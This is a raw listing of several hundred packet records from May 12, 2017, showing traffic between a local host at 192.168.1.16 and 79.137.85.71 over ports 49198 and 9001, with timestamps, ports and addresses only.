May 12, 2017 18:55:31.627829075 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:31.627841949 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.632896900 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.632915020 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.633001089 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:31.633023024 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.737189054 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.737313986 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:31.737340927 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.771531105 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.771554947 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.771678925 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:31.771698952 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.775589943 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.775616884 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.775700092 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:31.775706053 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.775721073 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.775733948 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.777224064 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.777242899 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.777348042 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:31.777370930 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.779856920 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.779877901 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.779978037 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:31.780000925 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.780214071 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.780234098 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.780309916 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:31.780328035 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.781330109 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.781348944 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.781542063 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:31.781563044 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.781685114 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.781701088 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.781860113 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:31.781874895 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.782495022 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.782511950 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.782583952 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:31.782604933 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.782660007 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.782679081 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.782752037 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:31.782769918 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.782972097 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.782989025 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.783060074 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:31.783077002 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.783405066 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.783416986 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.783432961 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.783529997 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:31.783548117 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.784583092 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.784600973 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.784766912 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:31.784823895 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.790182114 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.790203094 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.790379047 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:31.790417910 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.799530983 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.799631119 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:31.799674988 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.892815113 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.892838955 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.893022060 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:31.918726921 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.918761969 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.918771982 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.918843985 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:31.919399023 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.919416904 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.919436932 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.919487953 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:31.919514894 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.919529915 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.919540882 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.919564962 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:31.919687033 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.919704914 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.919754982 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:31.919774055 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.922271013 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.922292948 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.922303915 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.922394037 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:31.923165083 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.923182964 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.923192978 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.923252106 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:31.923933983 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.923949003 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.924021959 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:31.924036980 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.924501896 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.924521923 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.924566984 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:31.924581051 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.925700903 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.925719023 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.925736904 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.925750971 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.925751925 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:31.925769091 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.925843000 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:31.925873995 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.926836967 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.926855087 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.926897049 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:31.926909924 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.927123070 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.927139997 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.927189112 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:31.927201986 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.930608034 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.930627108 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.930705070 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:31.930720091 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.932549000 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.932566881 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.932629108 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:31.932642937 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.933664083 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.933681011 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.933737040 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:31.933751106 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.934617996 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.934638023 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.934695959 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:31.934709072 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.935626984 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.935645103 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.935714960 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:31.935728073 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.936815023 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.936832905 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.936876059 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.936893940 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:31.936908960 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.937036037 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.937052011 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.937108040 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:31.937119961 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.940632105 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.940654039 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.940711975 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:31.940738916 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.941507101 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.941528082 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.941598892 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:31.941637993 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.943907976 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.943928003 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.943990946 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:31.944017887 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.946455956 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.946480989 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.946490049 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.946502924 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.946577072 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:31.946592093 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.948558092 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.948575974 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.948636055 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:31.948652029 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.948868990 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.948888063 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.948932886 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:31.948945999 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.953252077 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.953274965 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.953346968 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:31.953361988 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.962601900 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.962614059 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.962734938 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:31.962752104 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.964968920 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.964987993 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.965065002 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:31.965080023 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.971843004 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.971863031 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.971961021 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:31.971976042 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.034569979 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.034673929 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:32.034694910 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.072571039 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.072593927 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.072678089 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:32.072698116 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.074438095 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.074465036 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.074564934 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:32.074579954 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.074635983 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.074654102 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.074702978 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:32.074717045 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.074791908 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.074803114 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.074856043 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:32.074870110 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.075110912 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.075130939 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.075180054 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:32.075192928 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.075301886 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.075320959 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.075371981 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:32.075383902 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.075423002 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.075438976 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.075544119 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:32.075558901 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.077176094 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.077208996 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.077280998 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:32.077295065 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.078892946 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.078910112 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.078953981 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:32.078983068 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.078995943 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.079015017 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.079070091 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:32.079086065 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.079416037 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.079427004 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.079479933 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.079480886 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:32.079489946 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.079497099 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.079507113 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.079562902 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:32.079777002 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.079889059 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.079896927 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.079943895 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:32.080075979 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.080084085 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.080089092 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.080137014 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:32.082320929 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.082331896 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.082339048 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.082392931 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:32.082431078 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:32.082458973 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:32.082531929 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.082541943 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.082549095 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.082591057 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:32.082611084 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.082690954 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.082742929 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:32.082771063 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.083931923 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.083950996 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.083998919 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.084001064 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:32.084008932 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.084019899 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.084028959 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.084080935 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:32.084214926 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.084225893 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.084244967 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.084275007 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.084336042 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:32.084352016 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.084491014 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.084532976 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:32.084547997 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.086240053 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.086251974 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.086303949 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.086313009 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:32.086313963 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.086323023 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.086334944 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.086383104 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.086389065 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:32.086390972 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.086405039 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.086436033 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.086489916 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:32.086504936 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.087899923 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.087986946 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:32.088001966 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.088129044 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.088140011 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.088207960 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:32.088221073 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.092992067 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.093019009 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.093081951 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:32.093096972 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.103948116 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.104024887 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:32.104039907 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.104626894 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.104655027 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.104737043 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:32.104753971 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.104810953 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.104837894 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.104890108 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:32.104906082 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.104979992 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.105003119 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.105055094 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:32.105070114 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.105171919 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.105189085 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.105243921 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:32.105259895 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.105540037 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.105551958 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.105557919 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.105607033 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:32.105633974 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.105676889 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.105690002 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.105762005 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:32.105777979 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.105823040 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.105834961 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.105895996 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:32.105911016 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.106281042 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.106292963 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:32.106360912 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:32.106388092 CEST	9001	49198	79.137.85.71	192.168.1.16
